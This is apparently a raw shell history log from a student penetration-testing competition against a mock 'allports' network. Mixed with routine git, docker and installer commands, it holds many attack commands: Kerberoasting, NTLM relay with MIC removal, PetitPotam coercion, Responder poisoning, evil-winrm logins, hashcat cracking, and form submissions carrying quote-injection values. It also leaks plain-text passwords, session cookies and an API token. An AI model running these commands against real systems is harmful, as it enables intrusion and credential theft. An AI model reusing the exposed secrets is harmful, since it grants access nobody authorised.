_raw: : 1768057801:0;bloodhound-python -d allports.local -u svc_stabilize -p 1gyroscope -ns 10.0.1.6 -c ALL


_raw: : 1768057800:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M maq


_raw: : 1768057783:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod2.git


_raw: : 1768057782:0;sudo docker compose up -d


_raw: : 1768057772:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://chat.allports.tours/ -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJrNw.e_y-keBTwcIGLYJFwo2fc1_H54I' \\


_raw: : 1768057744:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://chat.allports.tours/


_raw:
: 1768057705:0;curl 'https://chat.allports.tours/conversation/3/export' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/dashboard' \\
  -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJrNw.e_y-keBTwcIGLYJFwo2fc1_H54I' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers' -k


_raw:
: 1768057702:0;curl 'https://chat.allports.tours/conversation/3/export' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/dashboard' \\
  -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJrNw.e_y-keBTwcIGLYJFwo2fc1_H54I' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers'


_raw: : 1768057693:0;ffuf -u https://chat.allports.tours/FUZZ -w /home/pentester/University-of-California-Irvine/wordlists/combined_directories.txt -v


_raw: : 1768057685:0;curl 'https://chat.allports.tours/user/2' \-X POST \-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \-H 'Accept-Language: en-US,en;q=0.5' \-H 'Accept-Encoding: gzip, deflate, br, zstd' \-H 'Content-Type: application/x-www-form-urlencoded' \-H 'Origin: https://chat.allports.tours' \-H 'Connection: keep-alive' \-H 'Referer: https://chat.allports.tours/user/10' \-H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \-H 'Upgrade-Insecure-Requests: 1' \-H 'Sec-Fetch-Dest: document' \-H 'Sec-Fetch-Mode: navigate' \-H 'Sec-Fetch-Site: same-origin' \-H 'Sec-Fetch-User: ?1' \-H 'Priority: u=0, i' \-H 'TE: trailers' \--data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team' -k


_raw: : 1768057682:0;ffuf -u https://chat.allports.tours/FUZZ -w /home/pentester/University-of-California-Irvine/wordlists/rockyou.txt -v


_raw: : 1768057681:0;curl 'https://chat.allports.tours/user/10' \-X POST \-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \-H 'Accept-Language: en-US,en;q=0.5' \-H 'Accept-Encoding: gzip, deflate, br, zstd' \-H 'Content-Type: application/x-www-form-urlencoded' \-H 'Origin: https://chat.allports.tours' \-H 'Connection: keep-alive' \-H 'Referer: https://chat.allports.tours/user/10' \-H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \-H 'Upgrade-Insecure-Requests: 1' \-H 'Sec-Fetch-Dest: document' \-H 'Sec-Fetch-Mode: navigate' \-H 'Sec-Fetch-Site: same-origin' \-H 'Sec-Fetch-User: ?1' \-H 'Priority: u=0, i' \-H 'TE: trailers' \--data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team' -k


_raw: : 1768057675:0;curl 'https://chat.allports.tours/user/1' \-X POST \-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \-H 'Accept-Language: en-US,en;q=0.5' \-H 'Accept-Encoding: gzip, deflate, br, zstd' \-H 'Content-Type: application/x-www-form-urlencoded' \-H 'Origin: https://chat.allports.tours' \-H 'Connection: keep-alive' \-H 'Referer: https://chat.allports.tours/user/10' \-H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \-H 'Upgrade-Insecure-Requests: 1' \-H 'Sec-Fetch-Dest: document' \-H 'Sec-Fetch-Mode: navigate' \-H 'Sec-Fetch-Site: same-origin' \-H 'Sec-Fetch-User: ?1' \-H 'Priority: u=0, i' \-H 'TE: trailers' \--data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team' -k


_raw: : 1768057673:0;curl 'https://chat.allports.tours/user/1' \-X POST \-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \-H 'Accept-Language: en-US,en;q=0.5' \-H 'Accept-Encoding: gzip, deflate, br, zstd' \-H 'Content-Type: application/x-www-form-urlencoded' \-H 'Origin: https://chat.allports.tours' \-H 'Connection: keep-alive' \-H 'Referer: https://chat.allports.tours/user/10' \-H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \-H 'Upgrade-Insecure-Requests: 1' \-H 'Sec-Fetch-Dest: document' \-H 'Sec-Fetch-Mode: navigate' \-H 'Sec-Fetch-Site: same-origin' \-H 'Sec-Fetch-User: ?1' \-H 'Priority: u=0, i' \-H 'TE: trailers' \--data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team'


_raw: : 1768057671:0;curl 'https://chat.allports.tours/user/1' \-X POST \-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \-H 'Accept-Language: en-US,en;q=0.5' \-H 'Accept-Encoding: gzip, deflate, br, zstd' \-H 'Content-Type: application/x-www-form-urlencoded' \-H 'Origin: https://chat.allports.tours' \-H 'Connection: keep-alive' \-H 'Referer: https://chat.allports.tours/user/10' \-H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \-H 'Upgrade-Insecure-Requests: 1' \-H 'Sec-Fetch-Dest: document' \-H 'Sec-Fetch-Mode: navigate' \-H 'Sec-Fetch-Site: same-origin' \-H 'Sec-Fetch-User: ?1' \-H 'Priority: u=0, i' \-H 'TE: trailers' \--data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team'\


_raw: : 1768057661:0;mysql --ssl-mode=DISABLED -u username -p -h 10.0.1.13


_raw: : 1768057661:0;ffuf -u https://chat.allports.tours/FUZZ -w /home/pentester/University-of-California-Irvine/wordlists/rockyou.txt


_raw: : 1768057637:0;evil-winrm -i 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1768057633:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/rockyou.txt.gz


_raw:
: 1768057617:0;curl 'https://chat.allports.tours/user/10' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  -H 'Origin: https://chat.allports.tours' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/user/10' \\
  -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers' \\
  --data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team' -k


_raw:
: 1768057615:0;curl 'https://chat.allports.tours/user/10' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  -H 'Origin: https://chat.allports.tours' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/user/10' \\
  -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers' \\
  --data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team'


_raw: : 1768057611:0;sudo docker compose restart


_raw:
: 1768057611:0;curl 'https://chat.allports.tours/user/10' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  -H 'Origin: https://chat.allports.tours' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/user/10' \\
  -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJq6Q.STJ-141hhHL-onSpYRGzI6ynER8' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers' \\
  --data-raw 'csrf_token=IjNlODEyYTdjZmMyMWRmNTVkZGMwNTQ0ZWYyMzVhNmY2YzYxZGZkYmMi.aWJq6Q.6gBFqQULMsidVbHBkv0hhaoaRpw&username=a%27%27&first_name=a%27%27&last_name=a%27%27&room_number=AA-B11F&email=cptc11-finals-5%40cptc.team''


_raw: : 1768057594:0;evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1768057573:0;git push --set-upstream origin enumeration_agent


_raw: : 1768057549:0;git commit -m "Created enumeration agent"


_raw: : 1768057545:0;git config --global user.name "IndigoCode1"


_raw: : 1768057533:0;git config --global user.email "REDACTED_EMAIL"


_raw: : 1768057518:0;git commit -m "Created enumeration agent"


_raw: : 1768057497:0;echo "M+FiPPsaZAZyps5a5IA5Mg==" | base64 -d


_raw: : 1768057456:0;sudo impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"


_raw: : 1768057442:0;git checkout -b enumeration_agent


_raw: : 1768057428:0;sudo docker exec sharelatex apt install -y texlive-full


_raw: : 1768057419:0;sudo docker exec sharelatex apt update


_raw: : 1768057358:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768057358:0;rm \[+\]\ Scan\ complete.\ Analyzing\ results...


_raw: : 1768057357:0;sudo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"


_raw: : 1768057355:0;cat \[+\]\ Scan\ complete.\ Analyzing\ results...


_raw: : 1768057328:0;sudo docker exec -it sharelatex bash


_raw: : 1768057318:0;nxc ldap 10.0.1.6 -u 'guest' -p '' --kerberoasting output.txt


_raw: : 1768057318:0;nxc ldap 10.0.1.6 -u harry -p pass --kerberoasting output.txt


_raw: : 1768057318:0;netexec smb 10.0.1.6 --generate-krb5-file ~/krb5.conf


_raw: : 1768057318:0;nxc smb 10.0.1.0/24 --generate-hosts-file ~/hosts-file.txt


_raw: : 1768057318:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768057318:0;git clone https://github.com/p0dalirius/Coercer.git


_raw: : 1768057318:0;python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.6 10.0.254.204


_raw: : 1768057318:0;nxc smb 10.0.1.6 -u 'user.one' -p 'Password1!' -M remove-mic


_raw: : 1768057318:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768057318:0;sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768057318:0;uv run Downloads/printerbug.py


_raw: : 1768057318:0;impacket-rpcdump $TARGET | grep -A 6 "spoolsv"


_raw: : 1768057318:0;rpcdump.py $TARGET | grep -A 6 "spoolsv"


_raw: : 1768057318:0;git clone https://github.com/nationalcptc-teamtools/Stanford-university.git


_raw:
: 1768057318:0;echo 'export ANTHROPIC_AUTH_TOKEN="	\
sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"' >> ~/.bashrc


_raw: : 1768057318:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768057318:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768057298:0;termshot -scf out.png -C100 -- "nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' --kerberoasting kerb.roast"


_raw: : 1768057297:0;sudo docker exec sharelatex tlmgr update --self


_raw: : 1768057289:0;docker exec sharelatex tlmgr update --self


_raw:
: 1768057260:0;clear
ls
sudo ./01-root.sh
ls
clear
ls
sudo systemctl start postgres
sudo systemctl start postgresql
sudo systemctl enable postgresql
ls
clear
lsc
ls
sudo -u postgres ./02-postgres.sh
vi .env
ls
cp 03-planka.sh
cp 03-planka.sh /tmp
cd /tmp
sudo -u planka ./03-planka.sh
sudo apt-get install npm
sudo -u planka bash
sudo -u planka ./03-planka.sh
ls
cd /var/www/planka
ls
npm run db:init
npm start --prod
ls
npm start --prod
ls
vi .env
sudo vi .env
ls
npm run db:init
npm start --prod
ls
sudo -u planka ./03-planka.sh
sudo -u planka bash
ls
clear
ls
cat README.md
cd ..
ls
clear
lsc
ls
mv ~/Downloads/network-X.xml .
ls
python3 nmapxmlingest.py network-X.xml
ls
clear
ls
vi plankausers.txt
ls
python3 plankainit.py
ls
vi plankaconfig.ini
python3 plankainit.py
ls
python3 plankaupload.py
python3 nmapxmlingest.py ~/Downloads/OneDrive_2_1-9-2026/10.0.1.10.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_2_1-9-2026/10.0.1.13.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_2_1-9-2026/10.0.1.14.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_2_1-9-2026/10.0.1.1.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_2_1-9-2026/10.0.1.20.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_2_1-9-2026/10.0.1.30.xml
ls
python3 plankaupload.py
ls
sudo apt install flameshot
ls
python3 ukpatch.py ~/uptime-kuma/data/kuma.db
ls
python3 nmapxmlingest.py ~/Downloads/OneDrive_3_1-9-2026/10.0.1.11.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_3_1-9-2026/10.0.1.14.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_3_1-9-2026/10.0.1.21.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_3_1-9-2026/10.0.1.99.xml
python3 nmapxmlingest.py ~/Downloads/OneDrive_3_1-9-2026/10.0.1.254.xml
ls
python3 plankaupload.py
python3 ukpatch.py ~/uptime-kuma/data/kuma.db
python3 nmapxmlingest.py ~/windows/10.0.1.6.xml
python3 nmapupload.py
ls
python3 plankaupload.py
ip a
ls
clear
ls
cd ..
ls
cd kuma
ls
./01-uksetup.sh
ls
cd ~/
ls
cd uptime-kuma
ls
node server/server.js
ls ~/Downloads/OneDrive_2_1-9-2026
clear
ls
cd ~/uptime-kuma
ls
cd db
ls
cd ..
cd d
cd data
ls
clear
ls
clear
ls
clear
ls
clear
ls


_raw: : 1768057258:0;termshot -scf out.png -C100 -- "hashcat --show -m 13100 kerb.roast"


_raw: : 1768057257:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768057249:0;sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"


_raw: : 1768057244:0;sudo docker logs sharelatex


_raw: : 1768057240:0;cat -A ~/.ssh/id_ed25519  # Shows hidden characters


_raw: : 1768057240:0;termshot -scf out.png -C50 -- "hashcat --show -m 13100 kerb.roast"


_raw: : 1768057234:0;curl -k http://chat.allports.tours/


_raw:
: 1768057233:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768057231:0;crackmapexec smb 10.0.1.0/24 -u SVC_STABILIZE -p 1gyroscope --shares --local-auth


_raw: : 1768057220:0;cat -A ~/.ssh/id_ed25519  # Shows hidden characters


_raw: : 1768057218:0;xclip -sel c < static/app.js


_raw: : 1768057209:0;sudo git add remote origin REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768057207:0;sudo apt-get install sublime-text


_raw: : 1768057202:0;git add remote origin REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768057200:0;git config --global --add safe.directory /home/pentester/sam/claude


_raw: : 1768057194:0;mysql -u boatgps -p '@nchor2024' --skip-ssl


_raw: : 1768057192:0;mv config.yaml ~/Desktop/cptc-shit


_raw: : 1768057190:0;mysql -u boatgps -p '@nchor2024' -skip-ssl


_raw: : 1768057189:0;xclip -sel c < templates/index.html


_raw: : 1768057186:0;pip3 install pwntools --break-system-packages


_raw: : 1768057180:0;sudo responder -I eth0 -dwv


_raw: : 1768057180:0;termshot -scf out.png -- "hashcat --show -m 13100 kerb.roast"


_raw: : 1768057180:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod1.git


_raw: : 1768057180:0;echo -e 'Types: deb\nURIs: https://download.sublimetext.com/\nSuites: apt/stable/\nSigned-By: /etc/apt/keyrings/sublimehq-pub.asc' | sudo tee /etc/apt/sources.list.d/sublime-text.sources


_raw: : 1768057171:0;git add remote origin REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768057167:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliancep-pod1.git


_raw: : 1768057166:0;sudo docker compose logs sharelatex


_raw: : 1768057162:0;docker compose logs sharelatex


_raw: : 1768057161:0;sudo nano /etc/responder/Responder.conf


_raw: : 1768057158:0;cat alluser.txt | grep rdavis


_raw: : 1768057154:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compli


_raw: : 1768057153:0;cat user.txt | grep rdavis


_raw: : 1768057152:0;hashcat --show kerb.roast


_raw: : 1768057147:0;crackmapexec smb 10.0.1.0/24 -u SVC_STABILIZE -p 1gyroscope --shares


_raw: : 1768057147:0;wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo tee /etc/apt/keyrings/sublimehq-pub.asc > /dev/null


_raw:
: 1768057136:0;git remote add origin REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod1.git\
git branch -M main\
git push -u origin main


_raw: : 1768057122:0;sudo env bhe_recreate_default_admin=true bloodhound


_raw: : 1768057106:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768057105:0;grep -E "^SMB|^HTTP" /etc/responder/Responder.conf


_raw: : 1768057096:0;LV_BRANCH='release-1.4/neovim-0.9' bash <(curl -s https://raw.githubusercontent.com/LunarVim/LunarVim/release-1.4/neovim-0.9/utils/installer/install.sh)


_raw: : 1768057095:0;sudo sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf


_raw: : 1768057079:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git


_raw: : 1768057072:0;sudo sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf


_raw: : 1768057063:0;LV_BRANCH='release-1.4/neovim-0.9' bash <(curl -s https://raw.githubusercontent.com/LunarVim/LunarVim/release-1.4/neovim-0.9/utils/installer/install.sh)


_raw:
: 1768057053:0;curl -X POST http://10.0.1.11:8045 \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw: : 1768057051:0;cat -A ~/.ssh/id_ed25519  # Shows hidden characters


_raw:
: 1768057048:0;curl -X POST https://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw: : 1768057033:0;sudo env bhe_recreate_default_admin=true bloodhound


_raw:
: 1768057030:0;# Set correct permissions (must be 600 or 400)\
chmod 600 ~/.ssh/id_ed25519\
\
# Ensure the .ssh directory has correct permissions\
chmod 700 ~/.ssh


_raw: : 1768057008:0;LV_BRANCH='release-1.4/neovim-0.9' bash <(curl -s https://raw.githubusercontent.com/LunarVim/LunarVim/release-1.4/neovim-0.9/utils/installer/install.sh)


_raw: : 1768056998:0;sudo docker logs sharelatex


_raw: : 1768056998:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git


_raw: : 1768056971:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git


_raw:
: 1768056944:0;curl -X POST http://10.0.1.11:8045 \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw:
: 1768056922:0;curl -X POST https://10.0.1.11:8045 \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw: : 1768056907:0;sudo env bhe_recreate_default_admin=true bloodhound


_raw: : 1768056892:0;hashcat -m 13100 kerb.roast ./rockyou.txt


_raw: : 1768056887:0;hashcat -m 5600 kerb.roast ./rockyou.txt


